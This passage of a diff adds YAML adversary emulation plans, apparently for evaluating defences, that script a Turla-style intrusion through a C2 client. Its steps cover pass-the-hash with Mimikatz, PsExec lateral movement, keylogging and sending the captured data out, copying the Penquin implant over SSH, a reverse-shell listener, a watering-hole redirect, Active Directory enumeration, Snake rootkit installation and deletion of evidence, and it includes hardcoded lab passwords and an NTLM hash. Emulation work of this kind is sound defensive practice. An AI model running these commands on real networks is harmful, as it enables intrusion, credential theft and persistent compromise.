--set-and-complete-task a3e63922 '{"id": 5, "payload": "carbon_installer_3.exe", "payload_dest": "C:\\Windows\\Temp\\tmp1283.tmp", "cmd": "move C:\\Windows\\Temp\\tmp1283.tmp C:\\Windows\\System32\\wsqmanager.exe && dir C:\\Windows\\System32\\wsqmanager.exe"}' --task-wait-timeout 60 + +- id: 824d5eda-7743-4c10-89d8-143d4bc50eda + name: Copy installer & execute using PsExec (Adversary) + description: | + Task the CARBON-DLL implant on the domain controller to use the previously downloaded Mimikatz to pass-the-hash and (1) copy the installer to Adalwolfa's workstation and (2) execute it using PsExec. + tactic: Lateral Movement + technique: + attack_id: T1550.002 + name: "Use Alternate Authentication Material: Pass the Hash" + procedure_group: procedure_lateral_movement + procedure_step: 7.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task a3e63922 '{"id": 6, "cmd": "C:\\Windows\\System32\\terabox.exe \"pr::d\" \"slsa::htp /user:#{third.target.user} /domain:#{network.domain.name} /ntlm:#{third.target.ntlm} /remotepc:#{third.target.host} /pexe:C:\\Windows\\System32\\wsqsp.exe /sys:1 /prun:C:\\Windows\\System32\\wsqmanager.exe\" \"quit\""}' --task-wait-timeout 60 + input_arguments: + third.target.ntlm: + description: The NTLM hash for the third target user. + type: string + default: 07d128430a6338f8d537f6b3ae1dc136 + third.target.host: + description: The hostname of the third target host. + type: string + default: khabibulin + +- id: e7c827d6-57f8-40d0-b3a9-e03b2e4d0484 + name: Clean dropped files (Adversary) + description: | + Task the CARBON-DLL implant on the domain controller to clean up dropped files. + tactic: Defense Evasion + technique: + attack_id: 7.A.5 + name: "Indicator Removal on Host: File Deletion" + procedure_group: procedure_defense_evasion + procedure_step: T1070.004 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task a3e63922 '{"id": 7, "cmd": "del /Q C:\\Windows\\System32\\terabox.exe C:\\Windows\\System32\\wsqsp.exe C:\\Windows\\System32\\wsqmanager.exe"}' --task-wait-timeout 60 + + +# Step 8 - Credential Access on Admin Host + +- id: 1a9e352f-4edb-480d-b29c-66acb6c4df19 + name: Download and execute keylogger (Adversary) + description: | + Task the CARBON-DLL on Adalwolfa's workstation to download and execute the keylogger binary in the background. + tactic: Collection + technique: + attack_id: 8.A.2 + name: "Input Capture: Keylogging" + procedure_group: procedure_collection + procedure_step: T1056.001 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 0, "payload": "keylogger.exe", "payload_dest": "C:\\Windows\\Temp\\wingtsvcupdt.exe", "cmd": "C:\\Windows\\Temp\\wingtsvcupdt.exe -r"}' --task-wait-timeout 60 + +- id: 4cedd0ef-c802-431d-a4a1-eaf1163543f3 + name: Adalwolfa types keylogged data (User) + description: | + Xdotools will open powershell on the third target, ssh into the Apache server, type password, and exit ssh session. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(pgrep -f #{third.target.user}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + + xdotool mousemove --window "$rdp_window" 100 100 click 1; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 5; + xdotool type --window "$rdp_window" "powershell"; + sleep 5; + xdotool key --window "$rdp_window" Return; + sleep 5; + xdotool key --window "$rdp_window" Ctrl+Escape; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 5; + + xdotool type --window "$rdp_window" 'ssh #{third.target.user}@#{apache.server.ip}'; + sleep 5; + xdotool key --window "$rdp_window" Return; + sleep 5; + xdotool type --window "$rdp_window" 'yes'; + sleep 5; + xdotool key --window "$rdp_window" Return; + sleep 5; + xdotool key --window "$rdp_window" Shift+P; + xdotool type --window "$rdp_window" 'assword2'; + xdotool key --window "$rdp_window" Shift+1; + xdotool key --window "$rdp_window" Return; + xdotool type --window "$rdp_window" 'exit'; + xdotool key --window "$rdp_window" Return; + sleep 10; + input_arguments: + apache.server.ip: + description: The IP address of the Apache server. + type: string + default: 10.20.10.23 + +- id: cefe85b8-d1e5-4077-afac-81a6622f4c66 + name: Kill keylogger process (Adversary) + description: | + Task the CARBON-DLL implant on Adalwolfa's workstation to kill the keylogger process. + tactic: Collection + technique: + attack_id: 8.A.2 + name: "Input Capture: Keylogging" + procedure_group: procedure_collection + procedure_step: T1056.001 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 1, "cmd": "taskkill /IM wingtsvcupdt.exe /F"}' --task-wait-timeout 60 + +- id: 438939c8-e95a-4fbd-b659-06f0b0b72e47 + name: Exfiltrate keylogged data (Adversary) + description: | + Task the CARBON-DLL implant to exfiltrate the data written to the keylogger file + tactic: Collection + technique: + attack_id: 8.A.2 + name: "Input Capture: Keylogging" + procedure_group: procedure_collection + procedure_step: T1056.001 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 2, "cmd": "type %temp%\\~DFA512.tmp"}' --task-wait-timeout 200 + timeout: 200 + +- id: f8ab9b59-89a7-4c25-90bf-0c2485785a36 + name: Remove keylogging evidence (Adversary) + description: | + Task the CARBON-DLL implant to remove the keylogger and keylogger output file. + tactic: Defense Evasion + technique: + attack_id: T1070.004 + name: "Indicator Removal on Host: File Deletion" + procedure_group: procedure_defense_evasion + procedure_step: 8.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 3, "cmd": "del /Q C:\\Windows\\Temp\\wingtsvcupdt.exe %temp%\\~DFA512.tmp"}' --task-wait-timeout 60 + + +# Step 9 - Lateral Movement to Linux Server + +- id: 4d5197fa-4ba7-4bfd-9c91-1697ce0a80a4 + name: Download Penquin (Adversary) + description: | + Task the CARBON-DLL implant on Adawolfa's workstation to download Penquin (named tmp504e.tmp). + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 9.A.1 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 4, "payload": "hsperfdata.zip", "payload_dest": "C:\\Windows\\Temp\\tmp504e.tmp", "cmd": "dir C:\\Windows\\Temp\\tmp504e.tmp"}' --task-wait-timeout 60 + +- id: d760974d-6466-40b9-8532-b6be578428fc + name: Download pscp.exe (Adversary) + description: | + Task the implant to download pscp.exe + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 9.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 5, "payload": "pscp.exe", "payload_dest": "C:\\Windows\\Temp\\pscp.exe", "cmd": "move C:\\Windows\\Temp\\pscp.exe C:\\Windows\\System32\\pscp.exe && dir C:\\Windows\\System32\\pscp.exe"}' --task-wait-timeout 60 + +- id: 83a79c7d-721c-44ac-b8d5-d9ba2bc84852 + name: Copy Penquin to Apache web server (Adversary) + description: | + Task the implant to copy Penquin to the Apache web server using the third target user's credentials. + tactic: Lateral Movement + technique: + attack_id: T1021.004 + name: "Remote Services: SSH" + procedure_group: procedure_lateral_movement + procedure_step: 9.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 6, "cmd": "echo y | C:\\Windows\\System32\\pscp.exe -pw #{third.target.password} C:\\Windows\\Temp\\tmp504e.tmp #{third.target.user}@#{apache.server.ip}:/tmp/tmp514f524f"}' --task-wait-timeout 60 + +- id: 4468cc14-8e77-44cd-93de-b892253b3e27 + name: Download plink.exe (Adversary) + description: | + Task the implant to download plink.exe + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 9.A.4 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 7, "payload": "plink.exe", "payload_dest": "C:\\Windows\\Temp\\plink.exe", "cmd": "move C:\\Windows\\Temp\\plink.exe C:\\Windows\\System32\\plink.exe && dir C:\\Windows\\System32\\plink.exe"}' --task-wait-timeout 60 + +- id: 8c6a546b-e03b-4761-b422-8eaf40f59580 + name: Execute Penquin (Adversary) + description: | + Task the implant to execute Penquin + tactic: Lateral Movement + technique: + attack_id: T1021.004 + name: "Remote Services: SSH" + procedure_group: procedure_lateral_movement + procedure_step: 9.A.5 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 8, "cmd": "(echo unzip /tmp/tmp514f524f -d /tmp & echo sudo mv /tmp/hsperfdata /root/hsperfdata & echo sudo /root/hsperfdata & echo exit) | C:\\Windows\\System32\\plink.exe -ssh -l #{third.target.user} -pw #{third.target.password} #{apache.server.ip}"}' --task-wait-timeout 200; sleep 60; + timeout: 200 + +- id: 1fe4de9d-d8d3-4188-8a2a-6ff42394400c + name: Clean up downloaded files (Adversary) + description: | + Task the implant to clean up downloaded files + tactic: Defense Evasion + technique: + attack_id: T1070.004 + name: "Indicator Removal on Host: File Deletion" + procedure_group: procedure_defense_evasion + procedure_step: 9.A.6 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task c6f2aa03 '{"id": 9, "cmd": "del /Q C:\\Windows\\Temp\\tmp504e.tmp C:\\Windows\\System32\\pscp.exe C:\\Windows\\System32\\plink.exe"}' --task-wait-timeout 60 + + +# Step 10 - Installation of Watering Hole + +- id: 00a08c4d-d023-4b2a-8244-651f37d23e2c + name: Ncat listener to connect to Penquin's reverse shell (Adversary) + description: | + Fork a process to set up a Ncat listener for Penquin's reverse shell to connect to + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background bash -c "mkfifo input_pipe; mkfifo output_pipe; ncat -k -l 12345 0output_pipe & tail -f input_pipe | ncat localhost 12345 &" + +- id: 7086ff8c-da64-4b85-a3ee-6157fc0e0a70 + name: Send magic packet to Apache server (Adversary) + description: | + Send the magic packet to the Apache server using the `sendPacket.py` utility + tactic: Command and Control + technique: + attack_id: T1205 + name: "Traffic Signaling" + procedure_group: procedure_command_and_control + procedure_step: 10.A.1 + platforms: + linux: + sh: + command: | + sudo -E python3 /opt/day1/turla/Resources/Penquin/sendPacket.py --handler_ip #{attacker.host.ip} --handler_port 8081 --target_ip #{apache.server.ip} --target_port 8080 --payload_type base64 + input_arguments: + attacker.host.ip: + description: The ip address of the attacker's host. + type: string + default: 176.59.15.33 + +- id: 4b6ed411-6b13-484e-bed6-60b07562d6de + name: Add watering hole redirection (Adversary) + description: | + Send the command to ncat to add the watering hole redirection to `index.html` + tactic: Initial Access + technique: + attack_id: T1189 + name: "Drive-By Compromise" + procedure_group: procedure_initial_access + procedure_step: 10.A.4 + platforms: + linux: + sh: + command: | + echo "echo \"\" >> /var/www/html/index.html" > input_pipe; + echo exit > input_pipe; + rm input_pipe output_pipe; + ps aux | grep '[n]cat' | awk '{print $2}' | while read line; do kill $line; done diff --git a/turla/Emulation_Plan/yaml/turla_snake.yaml b/turla/Emulation_Plan/yaml/turla_snake.yaml new file mode 100644 index 00000000..3e36db1e --- /dev/null +++ b/turla/Emulation_Plan/yaml/turla_snake.yaml @@ -0,0 +1,1110 @@ +# turla_snake.yaml - CALDERA Style TTPs + +- emulation_plan_details: + id: 2c03e8df-284d-4bda-900d-1c9523fba7eb + adversary_name: Turla - Snake + adversary_description: Turla is a Russian-based threat group known for watering hole and spear phishing campaigns and leveraging in-house tools and malware. + attack_version: 13 + format_version: 1.0 + + +# Step 11 - Initial Compromise and Establish Foothold + +- id: cc9d5006-80d1-4dc5-863b-c38522ad5270 + name: RDP to first target host (User) + description: | + Use xfreerdp to RDP into the first host. Then, wait for the login to complete. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background xfreerdp /u:"#{network.domain.name}\\#{first.target.user}" /p:"#{first.target.password}" /v:#{first.target.ip} /cert-ignore + timeout: 60 + input_arguments: + first.target.ip: + description: The IP address of the first target host. + type: string + default: 10.100.40.103 + first.target.user: + description: The username of the first target host. + type: string + default: egle + first.target.password: + description: The password of the first target host. + type: string + default: Producer1! + network.domain.name: + description: The network domain name. + type: string + default: nk + +- id: 78f44095-73b0-4ab4-a4cc-e5090ae1ae44 + name: Download malicious update (User) + description: | + Use xdotool to open Microsoft Edge, browse to nato-int.com. After redirection to anto-int.com, click to download the update + (NFVersion_5e.exe) bundled with EPIC (a.k.a. Tavdig/Wipbot). + tactic: Initial Access + technique: + attack_id: T1189 + name: "Drive-By Compromise" + procedure_group: procedure_initial_access + procedure_step: 11.A.1-11.A.2 + platforms: + linux: + sh: + command: | + sleep 15; + rdp_pid=$(ps -ef | grep '[:]#{first.target.ip}' | awk {'print $2'}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool key --window "$rdp_window" Super_L+r; + sleep 6; + xdotool type --window "$rdp_window" "microsoft-edge"; + xdotool key --window "$rdp_window" shift+colon; + xdotool type --window "$rdp_window" "http"; + xdotool key --window "$rdp_window" shift+colon; + xdotool type --window "$rdp_window" "//nato-int.com/"; + sleep 6; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Return; + sleep 20; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool key --window "$rdp_window" --repeat 5 --delay 1 shift+Tab; + xdotool key --window "$rdp_window" Tab; + xdotool key --window "$rdp_window" Return; + sleep 6; + timeout: 180 + +- id: 0328ddeb-cc6b-4971-b695-771178b50ed7 + name: Initial compromise (User) + description: | + Run the downloaded malicious update via win+r, wait for it to finish running. + tactic: Execution + technique: + attack_id: T1204.002 + name: "User Execution: Malicious File" + procedure_group: procedure_execution + procedure_step: 11.A.3 + platforms: + linux: + sh: + command: | + xdotool key --window "$rdp_window" Super_L+r; + sleep 6; + xdotool type --window "$rdp_window" 'C'; + xdotool key --window "$rdp_window" shift+colon; + xdotool type --window "$rdp_window" '\Users\#{first.target.user}\Downloads\'; + xdotool key --window "$rdp_window" shift+N; + xdotool key --window "$rdp_window" shift+F; + xdotool key --window "$rdp_window" shift+V; + xdotool type --window "$rdp_window" "ersion"; + xdotool key --window "$rdp_window" shift+minus; + xdotool type --window "$rdp_window" "5e.exe"; + sleep 6; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool key --window "$rdp_window" R; + sleep 6; + timeout: 120 + +- id: e1d2f62e-0abf-4220-898b-4243d287466a + name: Log out of first target host (User) + description: | + Use xdotool to log out of the first target host + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + xdotool key --window "$rdp_window" Ctrl+Alt+Delete; + sleep 6; + xdotool key --window "$rdp_window" Down; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 15; + +- id: 49f05abe-1637-46c4-84ba-bd2fc0d6278f + name: Log back in to first target host (User) + description: | + Use xfreerdp to log back in + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background xfreerdp /u:"#{network.domain.name}\\#{first.target.user}" /p:"#{first.target.password}" /v:#{first.target.ip} /cert-ignore + +- id: 8d5799fe-c9b2-42a4-bb1d-a0603d9d88ea + name: Open Edge on first target host (User) + description: | + Using the new xfreerdp and xdotool, open Microsoft Edge, and wait 3 minutes for the EPIC implant. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + sleep 15; + rdp_pid=$(ps -ef | grep '[:]#{first.target.ip}' | awk {'print $2'}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool key --window "$rdp_window" Super_L+r; + sleep 6; + xdotool type --window "$rdp_window" "microsoft-edge:"; + sleep 6; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Return; + sleep 180; + timeout: 240 + +- id: 32dd2b5f-5798-4c05-9d65-ee1e2d494cee + name: Systeminfo discovery (Adversary) + description: | + Once C2 communications have been established between EPIC and the C2 via + the proxy server, discovery is performed on the first host where + information about the host device and domain computers is collected. + tactic: Discovery + technique: + attack_id: T1082 + name: "System Information Discovery" + procedure_group: procedure_discovery + procedure_step: 11.A.6 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 218780a0-870e-480e-b2c5dc 'exe | systeminfo && net group "Domain Computers" /domain' --task-wait-timeout 60 + + +# Step 12 - Rootkit Installation + +- id: bd51f583-249a-4995-b5d0-7da7e824bc56 + name: Download 1st Snake installer (Adversary) + description: | + Task the EPIC implant to download the Snake rootkit installer. + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 12.A.1 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 218780a0-870e-480e-b2c5dc 'name | C:\\Users\\#{first.target.user}\\Desktop\\gusbsys.exe | snake.exe' --task-wait-timeout 60 + +- id: 0daff7a0-d1e4-4bf2-8100-c0a824a34c52 + name: Execute the 1st Snake installer (Adversary) + description: | + Task the EPIC implant to execute the Snake rootkit installer with the privilege escalation option + tactic: Defense Evasion + technique: + attack_id: T1014 + name: Rootkit + procedure_group: procedure_defense_evasion + procedure_step: 12.A.2-12.A.10 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 218780a0-870e-480e-b2c5dc 'exe | C:\\Users\\#{first.target.user}\\Desktop\\gusbsys.exe -f' --task-wait-timeout 60 + +- id: cb7d5320-981f-496e-bdb0-b6535025e59e + name: Refresh Edge browser (User) + description: | + Use xdotool to perform a hard refresh in Edge on the first target host to + generate HTTP traffic and trigger the Snake implant + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(ps -ef | grep '[:]#{first.target.ip}' | awk {'print $2'}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool key --window "$rdp_window" Ctrl+Shift+R; + + +# Step 13 - First Workstation Discovery + +- id: d042e47d-0519-41e7-a0f1-3190f3fcf43d + name: Run PowerShell as File Server Administrator on first target host (User) + description: | + Use xdotool to run `runas /user:#{network.domain.name}\#{file.server.admin} powershell` and to enter the user password. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(ps -ef | grep '[:]#{first.target.ip}' | awk {'print $2'}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool mousemove --window "$rdp_window" 100 100 click 1; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 6; + xdotool type --window "$rdp_window" "powershell"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "runas /user:#{network.domain.name}\#{file.server.admin} powershell"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "#{first.target.password}"; + xdotool key --window "$rdp_window" Return; + sleep 6; + input_arguments: + file.server.admin: + description: The username of the file server admin. + type: string + default: EgleAdmin + +- id: 4f222cd4-4c53-4cf5-869f-335a51711d8a + name: Search for File Server Administrator process in running processes (Adversary) + description: | + Task the Snake rootkit to run the process discovery command. + tactic: Discovery + technique: + attack_id: T1057 + name: "Process Discovery" + procedure_group: procedure_discovery + procedure_step: 13.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 534b40585d514b554844 '{"type": 3, "proc": "tasklist.exe", "args": "/v"}' --task-wait-timeout 60 | grep '#{file.server.admin}' -i + +- id: 5dbc34ff-eb4d-4897-8c4e-8288e5dd9e88 + name: Enumerate file server admin groups (Adversary) + description: | + Execute the discovery command to confirm the user is in the file server admin's groups. + tactic: Discovery + technique: + attack_id: T1087.002 + name: "Account Discovery: Domain Account" + procedure_group: procedure_discovery + procedure_step: 13.A.4 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 534b40585d514b554844 '{"type": 3, "proc": "net.exe", "args": "user /domain #{file.server.admin}"}' --task-wait-timeout 60 | grep 'File Server Admins' -i + +- id: 6315f9e9-a6ee-46f2-b846-24f9c3c219c9 + name: Enumerate mapped network drives (Adversary) + description: | + Execute the discovery command to the drive mapped to the file server. + tactic: Discovery + technique: + attack_id: T1049 + name: "System Network Connections Discovery" + procedure_group: procedure_discovery + procedure_step: 13.A.8 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 534b40585d514b554844 '{"type": 3, "proc": "net.exe", "args": "use", "runas": "#{network.domain.name}\\#{first.target.user}"}' --task-wait-timeout 60 | grep #{second.target.host} -i + input_arguments: + second.target.host: + description: The hostname of the second target host. + type: string + default: berzas + + +# Step 14 - Lateral Movement to File Server + +- id: 9c65d9cc-6f72-471c-80e0-4c3029fc5e6d + name: Download PsExec (Adversary) + description: | + Task the implant to download PsExec. + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 14.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 534b40585d514b554844 '{"type": 4, "file": "PsExec.exe", "dest":"C:\\Windows\\System32\\file_svc_mgr.exe"}' --task-wait-timeout 60 + +- id: f6c54eb3-f066-4721-812f-0bf6bfea01fc + name: Download the 2nd Snake installer (Adversary) + description: | + Task the implant to download the 2nd Snake installer. + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 14.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 534b40585d514b554844 '{"type": 4, "file": "installer_v2.exe", "dest":"C:\\Windows\\System32\\cmu_svc_v2.exe"}' --task-wait-timeout 60 + +- id: 0970d7d6-279a-4ad8-a334-cfe0b5e7e0a6 + name: Execute PsExec as the File Server Administrator (Adversary) + description: | + Run the following command to execute PsExec as the file server admin, which will run the Snake installer on the file server + tactic: Execution + technique: + attack_id: T1569.002 + name: "System Services: Service Execution" + procedure_group: procedure_execution + procedure_step: 14.A.4 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 534b40585d514b554844 '{"type": 3, "proc": "C:\\Windows\\System32\\file_svc_mgr.exe", "args":"\\\\#{second.target.host} -accepteula -s -c C:\\Windows\\System32\\cmu_svc_v2.exe", "runas":"#{network.domain.name}\\#{file.server.admin}"}' --task-wait-timeout 120 + timeout: 120 + +- id: 2386792f-7bc9-445d-b868-64a0031ea40d + name: RDP to second target host (User) + description: | + Xfreerdp to the second target host as second victim user. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background xfreerdp /u:"#{network.domain.name}\\#{file.server.admin}" /p:"#{first.target.password}" /v:#{second.target.ip} /cert-ignore + input_arguments: + second.target.ip: + description: The IP address of the second target host. + type: string + default: 10.100.30.204 + +- id: a2e76ec5-6417-4da6-8a16-62ad85b49fa8 + name: Navigate to google.com on second target host (User) + description: | + On the second target host, wait for the RDP to complete. Then, use xdotool to open Edge and navigate to google.com. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + sleep 15; + rdp_pid=$(ps -ef | grep '[:]#{second.target.ip}' | awk {'print $2'}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool mousemove --window "$rdp_window" 100 100 click 1; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 6; + xdotool type --window "$rdp_window" "run"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "microsoft-edge:https://google.com"; + xdotool key --window "$rdp_window" Return; + +- id: 057a6b9b-36d6-456d-aa28-66e61295dd9c + name: Delete artifacts from first target host (Adversary) + description: | + After the new beacon is received, remove files from the first target. + tactic: Defense Evasion + technique: + attack_id: T1070.004 + name: "Indicator Removal: File Deletion" + procedure_group: procedure_defense_evasion + procedure_step: 14.A.6 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 534b40585d514b554844 '{"type": 1, "command": "del /Q C:\\Windows\\System32\\file_svc_mgr.exe C:\\Windows\\System32\\cmu_svc_v2.exe"}' --task-wait-timeout 60 + + +# Step 15 - Domain Discovery + +- id: 79dae739-fd89-4842-946e-a4675110814e + name: Check if ActiveDirectory is installed (Adversary) + description: | + Task Snake to check if the ActiveDirectory PowerShell module is installed. + tactic: Execution + technique: + attack_id: T1059.001 + name: "Command and Scripting Interpreter: Powershell" + procedure_group: procedure_execution + procedure_step: 15.A.1 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Get-Module -ListAvailable -Name ActiveDirectory"}' --task-wait-timeout 60 | grep ActiveDirectory -i + +- id: 70a19730-04e9-45be-8463-7a359eaee657 + name: Enumerate Active Directory groups (Adversary) + description: | + Task Snake to collect a list of Active Directory groups containing the word "management", as members of these groups will likely have elevated permissions on the network. Confirm existence of a "Server Management" group. + tactic: Discovery + technique: + attack_id: T1069.001 + name: "Permission Group Discovery: Domain Groups" + procedure_group: procedure_discovery + procedure_step: 15.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroup -Filter * | Where-Object Name -Match \"management\" | Select Name"}' --task-wait-timeout 60 | grep 'Server Management' -i + +- id: bb06008c-561b-4a98-992e-fb7a0432aa45 + name: Enumerate accounts belonging to the Server Management domain group (Adversary) + description: | + Task Snake to obtain the usernames of accounts within the Server Management domain group. This will instruct Turla which users to target next. Confirm the domain admin user is a member. + tactic: Discovery + technique: + attack_id: T1069.001 + name: "Permission Group Discovery: Domain Groups" + procedure_group: procedure_discovery + procedure_step: 15.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroupMember -Identity \"Server Management\" | Select Name,SamAccountName"}' --task-wait-timeout 60 | grep #{domain.admin.user} -i + input_arguments: + domain.admin.user: + description: The username of a domain admin. + type: string + default: ZilvinasAdmin + +- id: 8649c19c-0e25-43f3-a267-e0c0c92dd74f + name: Enumerate accounts belonging to the Domain Admins domain group (Adversary) + description: | + Task Snake to obtain the usernames of accounts within the Domain Admins domain group. Confirm the domain admin user is a member. + tactic: Discovery + technique: + attack_id: T1069.001 + name: "Permission Group Discovery: Domain Groups" + procedure_group: procedure_discovery + procedure_step: 15.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroupMember -Identity \"Domain Admins\" | Select Name,SamAccountName"}' --task-wait-timeout 60 | grep #{domain.admin.user} -i + +- id: d761e02e-fea4-457e-a434-aa49383b7996 + name: Enumerate account information (Adversary) + description: | + Task Snake to discover domain users. + tactic: Discovery + technique: + attack_id: T1087.002 + name: "Account Discovery: Domain Account" + procedure_group: + procedure_step: 15.A.4 + platforms: + linux: + sh: + command: | + output=$(./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADUser -Filter {LastLogonDate -ne 0} -Properties * | Select Name,SamAccountName"}' --task-wait-timeout 60); + echo $output | grep '#{second.target.user}' -iw && echo $output | grep '#{domain.admin.user}' -i + +- id: 44daae27-4c78-4a38-9a68-88aeabd87a32 + name: Enumerate domain computer information (Adversary) + description: | + Task Snake to obtain a list of domain computers and some of their information (IP addresses, DNS names, and description). + tactic: Discovery + technique: + attack_id: T1018 + name: Remote System Discovery + procedure_group: + procedure_step: 15.A.5 + platforms: + linux: + sh: + command: | + output=$(./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADComputer -Filter * -Properties * | Select Name,DnsName,IPv4Address,Description"}' --task-wait-timeout 60); + echo $output | grep '#{second.target.user} Workstation' -i && echo $output | grep '#{fourth.target.host}' -i + input_arguments: + fourth.target.host: + description: The hostname of the fourth target host. + type: string + default: drebule + second.target.user: + description: The username of the second target host. + type: string + default: Zilvinas + + +# Step 16 - Preparation for Lateral Movement to Admin Workstation + +- id: bc88a0f3-245f-46a7-be47-42538fd0521d + name: Download Mimikatz to file server (Adversary) + description: | + Task Snake to download Mimikatz to the file server. + tactic: Commmand and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 16.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 4, "file": "mimikatz.exe", "dest": "C:\\Windows\\System32\\loadperf.exe"}' --task-wait-timeout 60 + +- id: 55bef1eb-e1b5-46c6-94b9-a9637688d114 + name: Download PsExec to the file server (Adversary) + description: | + Task Snake to download PsExec to the file server. + tactic: Commmand and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 16.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 4, "file": "PsExec.exe", "dest": "C:\\Windows\\System32\\fs_mgr.exe"}' --task-wait-timeout 60 + +- id: 095324d9-a6e8-4964-a5ba-92fff6907c2e + name: Download 3rd Snake installer 